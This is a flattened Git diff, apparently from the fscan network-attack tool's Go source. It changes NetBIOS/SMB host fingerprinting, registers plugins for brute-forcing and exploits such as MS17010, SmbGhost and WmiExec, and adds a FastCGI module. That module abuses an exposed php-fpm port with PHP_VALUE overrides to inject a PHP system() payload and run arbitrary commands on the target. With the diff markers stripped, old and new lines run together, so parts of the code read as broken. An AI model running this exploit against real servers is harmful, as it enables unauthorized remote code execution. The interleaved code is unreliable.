"\x1E": "Browser Service Elections",
}
NetBIOS_ITEM_TYPE = map[string]string{
"\x01\x00": "NetBIOS computer name",
"\x02\x00": "NetBIOS domain name",
"\x03\x00": "DNS computer name",
"\x04\x00": "DNS domain name",
"\x05\x00": "DNS tree name",
"\x07\x00": "Time stamp",
}
)
type NbnsName struct {
unique string
group string
msg string
osversion string
}
var errNetBIOS = errors.New("netbios error")
func NetBIOS(info *common.HostInfo) error {
nbname, err := NetBIOS1(info)
var msg, isdc string
if strings.Contains(nbname.msg, "Domain Controllers") {
isdc = "[+]DC"
netbios, _ := NetBIOS1(info)
output := netbios.String()
if len(output) > 0 {
result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output)
common.LogSuccess(result)
return nil
}
msg += fmt.Sprintf("[*] %-15s%-5s %s\\%s %s", info.Host, isdc, nbname.group, nbname.unique, nbname.osversion)
if info.Scantype == "netbios" {
msg += "\n-------------------------------------------\n" + nbname.msg
}
if len(nbname.group) > 0 || len(nbname.unique) > 0 {
common.LogSuccess(msg)
}
return err
return errNetBIOS
}
func NetBIOS1(info *common.HostInfo) (nbname NbnsName, err error) {
nbname, err = GetNbnsname(info)
func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
netbios, err = GetNbnsname(info)
var payload0 []byte
if err == nil {
name := netbiosEncode(nbname.unique)
if netbios.ServerService != "" || netbios.WorkstationService != "" {
ss := netbios.ServerService
if ss == "" {
ss = netbios.WorkstationService
}
name := netbiosEncode(ss)
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
payload0 = append(payload0, name...)
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
}
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
var conn net.Conn
conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return
}
if info.Ports == "139" && len(payload0) > 0 {
_, err1 := conn.Write(payload0)
if err1 != nil {
return
}
_, err1 = readbytes(conn)
_, err1 = ReadBytes(conn)
if err1 != nil {
return
}
}
payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00")
payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00")
_, err = conn.Write(payload1)
_, err = conn.Write(NegotiateSMBv1Data1)
if err != nil {
return
}
_, err = readbytes(conn)
_, err = ReadBytes(conn)
if err != nil {
return
}
_, err = conn.Write(payload2)
_, err = conn.Write(NegotiateSMBv1Data2)
if err != nil {
return
}
ret, err := readbytes(conn)
if err != nil || len(ret) < 45 {
return
}
num1, err := bytetoint(ret[43:44][0])
var ret []byte
ret, err = ReadBytes(conn)
if err != nil {
return
}
num2, err := bytetoint(ret[44:45][0])
if err != nil {
return
}
length := num1 + num2*256
if len(ret) < 48+length {
return
}
os_version := ret[47+length:]
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
msg1 := string(tmp1[:len(tmp1)-1])
nbname.osversion = msg1
index1 := strings.Index(msg1, "|")
if index1 > 0 {
nbname.osversion = nbname.osversion[:index1]
}
nbname.msg += "-------------------------------------------\n"
nbname.msg += msg1 + "\n"
start := bytes.Index(ret, []byte("NTLMSSP"))
if len(ret) < start+45 {
return
}
num1, err = bytetoint(ret[start+40 : start+41][0])
if err != nil {
return
}
num2, err = bytetoint(ret[start+41 : start+42][0])
if err != nil {
return
}
length = num1 + num2*256
num1, err = bytetoint(ret[start+44 : start+45][0])
if err != nil {
return
}
offset, err := bytetoint(ret[start+44 : start+45][0])
if err != nil || len(ret) < start+offset+length {
return
}
index := start + offset
for index < start+offset+length {
item_type := ret[index : index+2]
num1, err = bytetoint(ret[index+2 : index+3][0])
if err != nil {
return
}
num2, err = bytetoint(ret[index+3 : index+4][0])
if err != nil {
return
}
item_length := num1 + num2*256
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
index += 4 + item_length
if string(item_type) == "\x07\x00" {
//Time stamp, 暂时不想处理
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
nbname.msg += fmt.Sprintf("%-22s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
} else if string(item_type) == "\x00\x00" {
break
} else {
nbname.msg += fmt.Sprintf("Unknown: %s\n", string(item_content))
}
}
return nbname, err
netbios2, err := ParseNTLM(ret)
JoinNetBios(&netbios, &netbios2)
return
}
func GetNbnsname(info *common.HostInfo) (nbname NbnsName, err error) {
func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
realhost := fmt.Sprintf("%s:%v", info.Host, 137)
conn, err := net.DialTimeout("udp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
realhost := fmt.Sprintf("%s:137", info.Host)
conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err != nil {
return
}
_, err = conn.Write(senddata1)
if err != nil {
return
}
text, err := readbytes(conn)
if err != nil {
return
}
if len(text) < 57 {
return nbname, fmt.Errorf("no names available")
}
num, err := bytetoint(text[56:57][0])
if err != nil {
return
}
data := text[57:]
var msg string
for i := 0; i < num; i++ {
if len(data) < 18*i+16 {
break
}
name := string(data[18*i : 18*i+15])
flag_bit := data[18*i+15 : 18*i+16]
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)])
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)])
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
name_flags := data[18*i+16 : 18*i+18][0]
if name_flags >= 128 {
nbname.group = strings.Replace(name, " ", "", -1)
msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)])
} else {
nbname.unique = strings.Replace(name, " ", "", -1)
msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)])
}
} else {
msg += fmt.Sprintf("%s \n", name)
}
}
nbname.msg += msg
text, _ := ReadBytes(conn)
netbios, err = ParseNetBios(text)
return
}
func readbytes(conn net.Conn) (result []byte, err error) {
buf := make([]byte, 4096)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
result = append(result, buf[0:count]...)
if count < 4096 {
break
}
}
return result, err
}
func bytetoint(text byte) (int, error) {
num1 := fmt.Sprintf("%v", text)
num, err := strconv.Atoi(num1)
@@ -279,3 +127,241 @@ func netbiosEncode(name string) (output []byte) {
}
return
}
var (
UNIQUE_NAMES = map[string]string{
"\x00": "WorkstationService",
"\x03": "Messenger Service",
"\x06": "RAS Server Service",
"\x1F": "NetDDE Service",
"\x20": "ServerService",
"\x21": "RAS Client Service",
"\xBE": "Network Monitor Agent",
"\xBF": "Network Monitor Application",
"\x1D": "Master Browser",
"\x1B": "Domain Master Browser",
}
GROUP_NAMES = map[string]string{
"\x00": "DomainName",
"\x1C": "DomainControllers",
"\x1E": "Browser Service Elections",
}
NetBIOS_ITEM_TYPE = map[string]string{
"\x01\x00": "NetBiosComputerName",
"\x02\x00": "NetBiosDomainName",
"\x03\x00": "ComputerName",
"\x04\x00": "DomainName",
"\x05\x00": "DNS tree name",
"\x07\x00": "Time stamp",
}
NegotiateSMBv1Data1 = []byte{
0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F,
0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02,
0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F,
0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70,
0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30,
0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54,
0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00,
}
NegotiateSMBv1Data2 = []byte{
0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60,
0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30,
0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04,
0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08,
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00,
0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00,
0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00,
0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00,
0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00,
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00,
0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
}
)
type NetBiosInfo struct {
GroupName string
WorkstationService string `yaml:"WorkstationService"`
ServerService string `yaml:"ServerService"`
DomainName string `yaml:"DomainName"`
DomainControllers string `yaml:"DomainControllers"`
ComputerName string `yaml:"ComputerName"`
OsVersion string `yaml:"OsVersion"`
NetDomainName string `yaml:"NetBiosDomainName"`
NetComputerName string `yaml:"NetBiosComputerName"`
}
func (info *NetBiosInfo) String() (output string) {
var text string
//ComputerName 信息比较全
if info.ComputerName != "" {
if !strings.Contains(info.ComputerName, ".") && info.GroupName != "" {
text = fmt.Sprintf("%s\\%s", info.GroupName, info.ComputerName)
} else {
text = info.ComputerName
}
} else {
//组信息
if info.DomainName != "" {
text += info.DomainName
text += "\\"
} else if info.NetDomainName != "" {
text += info.NetDomainName
text += "\\"
}
//机器名
if info.ServerService != "" {
text += info.ServerService
} else if info.WorkstationService != "" {
text += info.WorkstationService
} else if info.NetComputerName != "" {
text += info.NetComputerName
}
}
if text == "" {
} else if info.DomainControllers != "" {
output = fmt.Sprintf("[+] DC:%-24s", text)
} else {
output = fmt.Sprintf("%-30s", text)
}
if info.OsVersion != "" {
output += " " + info.OsVersion
}
return
}
func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
if len(input) < 57 {
err = errNetBIOS
return
}
data := input[57:]
var num int
num, err = bytetoint(input[56:57][0])
if err != nil {
return
}
var msg string
for i := 0; i < num; i++ {
if len(data) < 18*i+16 {
break
}
name := string(data[18*i : 18*i+15])
flag_bit := data[18*i+15 : 18*i+16]
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
name_flags := data[18*i+16 : 18*i+18][0]
if name_flags >= 128 {
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
} else {
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
}
} else {
msg += fmt.Sprintf("%s \n", name)
}
}
if len(msg) == 0 {
err = errNetBIOS
return
}
err = yaml.Unmarshal([]byte(msg), &netbios)
if netbios.DomainName != "" {
netbios.GroupName = netbios.DomainName
}
return
}
func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
if len(ret) < 47 {
err = errNetBIOS
return
}
var num1, num2 int
num1, err = bytetoint(ret[43:44][0])
if err != nil {
return
}
num2, err = bytetoint(ret[44:45][0])
if err != nil {
return
}
length := num1 + num2*256
if len(ret) < 48+length {
return
}
os_version := ret[47+length:]
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
ostext := string(tmp1[:len(tmp1)-1])
ss := strings.Split(ostext, "|")
netbios.OsVersion = ss[0]
start := bytes.Index(ret, []byte("NTLMSSP"))
if len(ret) < start+45 {
return
}
num1, err = bytetoint(ret[start+40 : start+41][0])
if err != nil {
return
}
num2, err = bytetoint(ret[start+41 : start+42][0])
if err != nil {
return
}
length = num1 + num2*256
_, err = bytetoint(ret[start+44 : start+45][0])
if err != nil {
return
}
offset, err := bytetoint(ret[start+44 : start+45][0])
if err != nil || len(ret) < start+offset+length {
return
}
var msg string
index := start + offset
for index < start+offset+length {
item_type := ret[index : index+2]
num1, err = bytetoint(ret[index+2 : index+3][0])
if err != nil {
continue
}
num2, err = bytetoint(ret[index+3 : index+4][0])
if err != nil {
continue
}
item_length := num1 + num2*256
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
index += 4 + item_length
if string(item_type) == "\x07\x00" {
//Time stamp, 不需要输出
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
msg += fmt.Sprintf("%s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
} else if string(item_type) == "\x00\x00" {
break
}
}
err = yaml.Unmarshal([]byte(msg), &netbios)
return
}
func JoinNetBios(netbios1, netbios2 *NetBiosInfo) *NetBiosInfo {
netbios1.ComputerName = netbios2.ComputerName
netbios1.NetDomainName = netbios2.NetDomainName
netbios1.NetComputerName = netbios2.NetComputerName
if netbios2.DomainName != "" {
netbios1.DomainName = netbios2.DomainName
}
netbios1.OsVersion = netbios2.OsVersion
return netbios1
}
+87
View File
@@ -1,5 +1,13 @@
package Plugins
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"net"
)
var PluginList = map[string]interface{}{
"21": FtpScan,
"22": SshScan,
@@ -7,12 +15,91 @@ var PluginList = map[string]interface{}{
"139": NetBIOS,
"445": SmbScan,
"1433": MssqlScan,
"1521": OracleScan,
"3306": MysqlScan,
"3389": RdpScan,
"5432": PostgresScan,
"6379": RedisScan,
"9000": FcgiScan,
"11211": MemcachedScan,
"27017": MongodbScan,
"1000001": MS17010,
"1000002": SmbGhost,
"1000003": WebTitle,
"1000004": SmbScan2,
"1000005": WmiExec,
}
func ReadBytes(conn net.Conn) (result []byte, err error) {
size := 4096
buf := make([]byte, size)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
result = append(result, buf[0:count]...)
if count < size {
break
}
}
if len(result) > 0 {
err = nil
}
return result, err
}
var key = "0123456789abcdef"
func AesEncrypt(orig string, key string) string {
// 转成字节数组
origData := []byte(orig)
k := []byte(key)
// 分组秘钥
// NewCipher该函数限制了输入k的长度必须为16, 24或者32
block, _ := aes.NewCipher(k)
// 获取秘钥块的长度
blockSize := block.BlockSize()
// 补全码
origData = PKCS7Padding(origData, blockSize)
// 加密模式
blockMode := cipher.NewCBCEncrypter(block, k[:blockSize])
// 创建数组
cryted := make([]byte, len(origData))
// 加密
blockMode.CryptBlocks(cryted, origData)
return base64.StdEncoding.EncodeToString(cryted)
}
func AesDecrypt(cryted string, key string) string {
// 转成字节数组
crytedByte, _ := base64.StdEncoding.DecodeString(cryted)
k := []byte(key)
// 分组秘钥
block, _ := aes.NewCipher(k)
// 获取秘钥块的长度
blockSize := block.BlockSize()
// 加密模式
blockMode := cipher.NewCBCDecrypter(block, k[:blockSize])
// 创建数组
orig := make([]byte, len(crytedByte))
// 解密
blockMode.CryptBlocks(orig, crytedByte)
// 去补全码
orig = PKCS7UnPadding(orig)
return string(orig)
}
// 补码
// AES加密数据块分组长度必须为128bit(byte[16]),密钥长度可以是128bit(byte[16])、192bit(byte[24])、256bit(byte[32])中的任意一个。
func PKCS7Padding(ciphertext []byte, blocksize int) []byte {
padding := blocksize - len(ciphertext)%blocksize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
// 去码
func PKCS7UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
+372
View File
@@ -0,0 +1,372 @@
package Plugins
import (
"bufio"
"bytes"
"encoding/binary"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"io"
"strconv"
"strings"
"sync"
"time"
)
//links
//https://xz.aliyun.com/t/9544
//https://github.com/wofeiwo/webcgi-exploits
func FcgiScan(info *common.HostInfo) {
if common.IsBrute {
return
}
url := "/etc/issue"
if common.Path != "" {
url = common.Path
}
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
var reqParams string
var cutLine = "-----ASDGTasdkk361363s-----\n"
switch {
case common.Command == "read":
reqParams = ""
case common.Command != "":
reqParams = "<?php system('" + common.Command + "');die('" + cutLine + "');?>"
default:
reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
}
env := make(map[string]string)
env["SCRIPT_FILENAME"] = url
env["DOCUMENT_ROOT"] = "/"
env["SERVER_SOFTWARE"] = "go / fcgiclient "
env["REMOTE_ADDR"] = "127.0.0.1"
env["SERVER_PROTOCOL"] = "HTTP/1.1"
if len(reqParams) != 0 {
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input"
} else {
env["REQUEST_METHOD"] = "GET"
}
fcgi, err := New(addr, common.Timeout)
defer func() {
if fcgi.rwc != nil {
fcgi.rwc.Close()
}
}()
if err != nil {
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
return
}
stdout, stderr, err := fcgi.Request(env, reqParams)
if err != nil {
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
return
}
//1
//Content-type: text/html
//
//uid=1001(www) gid=1001(www) groups=1001(www)
//2
//Status: 404 Not Found
//Content-type: text/html
//
//File not found.
//Primary script unknown
//3
//Status: 403 Forbidden
//Content-type: text/html
//
//Access denied.
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
var result string
var output = string(stdout)
if strings.Contains(output, cutLine) { //命令成功回显
output = strings.SplitN(output, cutLine, 2)[0]
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output)
}
common.LogSuccess(result)
} else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") {
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output)
}
common.LogSuccess(result)
}
}
// for padding so we don't have to allocate all the time
// not synchronized because we don't care what the contents are
var pad [maxPad]byte
const (
FCGI_BEGIN_REQUEST uint8 = iota + 1
FCGI_ABORT_REQUEST
FCGI_END_REQUEST
FCGI_PARAMS
FCGI_STDIN
FCGI_STDOUT
FCGI_STDERR
)
const (
FCGI_RESPONDER uint8 = iota + 1
)
const (
maxWrite = 6553500 // maximum record body
maxPad = 255
)
type header struct {
Version uint8
Type uint8
Id uint16
ContentLength uint16
PaddingLength uint8
Reserved uint8
}
func (h *header) init(recType uint8, reqId uint16, contentLength int) {
h.Version = 1
h.Type = recType
h.Id = reqId
h.ContentLength = uint16(contentLength)
h.PaddingLength = uint8(-contentLength & 7)
}
type record struct {
h header
buf [maxWrite + maxPad]byte
}
func (rec *record) read(r io.Reader) (err error) {
if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil {
return err
}
if rec.h.Version != 1 {
return errors.New("fcgi: invalid header version")
}
n := int(rec.h.ContentLength) + int(rec.h.PaddingLength)
if _, err = io.ReadFull(r, rec.buf[:n]); err != nil {
return err
}
return nil
}
func (r *record) content() []byte {
return r.buf[:r.h.ContentLength]
}
type FCGIClient struct {
mutex sync.Mutex
rwc io.ReadWriteCloser
h header
buf bytes.Buffer
keepAlive bool
}
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
fcgi = &FCGIClient{
rwc: conn,
keepAlive: false,
}
return
}
func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
c.mutex.Lock()
defer c.mutex.Unlock()
c.buf.Reset()
c.h.init(recType, reqId, len(content))
if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil {
return err
}
if _, err := c.buf.Write(content); err != nil {
return err
}
if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil {
return err
}
_, err = c.rwc.Write(c.buf.Bytes())
return err
}
func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
b := [8]byte{byte(role >> 8), byte(role), flags}
return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
}
func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
b := make([]byte, 8)
binary.BigEndian.PutUint32(b, uint32(appStatus))
b[4] = protocolStatus
return c.writeRecord(FCGI_END_REQUEST, reqId, b)
}
func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
w := newWriter(c, recType, reqId)
b := make([]byte, 8)
for k, v := range pairs {
n := encodeSize(b, uint32(len(k)))
n += encodeSize(b[n:], uint32(len(v)))
if _, err := w.Write(b[:n]); err != nil {
return err
}
if _, err := w.WriteString(k); err != nil {
return err
}
if _, err := w.WriteString(v); err != nil {
return err
}
}
w.Close()
return nil
}
func readSize(s []byte) (uint32, int) {
if len(s) == 0 {
return 0, 0
}
size, n := uint32(s[0]), 1
if size&(1<<7) != 0 {
if len(s) < 4 {
return 0, 0
}
n = 4
size = binary.BigEndian.Uint32(s)
size &^= 1 << 31
}
return size, n
}
func readString(s []byte, size uint32) string {
if size > uint32(len(s)) {
return ""
}
return string(s[:size])
}
func encodeSize(b []byte, size uint32) int {
if size > 127 {
size |= 1 << 31
binary.BigEndian.PutUint32(b, size)
return 4
}
b[0] = byte(size)
return 1
}
// bufWriter encapsulates bufio.Writer but also closes the underlying stream when
// Closed.
type bufWriter struct {
closer io.Closer
*bufio.Writer
}
func (w *bufWriter) Close() error {
if err := w.Writer.Flush(); err != nil {
w.closer.Close()
return err
}
return w.closer.Close()
}
func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter {
s := &streamWriter{c: c, recType: recType, reqId: reqId}
w := bufio.NewWriterSize(s, maxWrite)
return &bufWriter{s, w}
}
// streamWriter abstracts out the separation of a stream into discrete records.
// It only writes maxWrite bytes at a time.
type streamWriter struct {
c *FCGIClient
recType uint8
reqId uint16
}
func (w *streamWriter) Write(p []byte) (int, error) {
nn := 0
for len(p) > 0 {
n := len(p)
if n > maxWrite {
n = maxWrite
}
if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil {
return nn, err
}
nn += n
p = p[n:]
}
return nn, nil
}
func (w *streamWriter) Close() error {
// send empty record to close the stream
return w.c.writeRecord(w.recType, w.reqId, nil)
}
func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
var reqId uint16 = 1
defer c.rwc.Close()
err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
if err != nil {
return
}
err = c.writePairs(FCGI_PARAMS, reqId, env)
if err != nil {
return
}
if len(reqStr) > 0 {
err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
if err != nil {
return
}
}
rec := &record{}
var err1 error
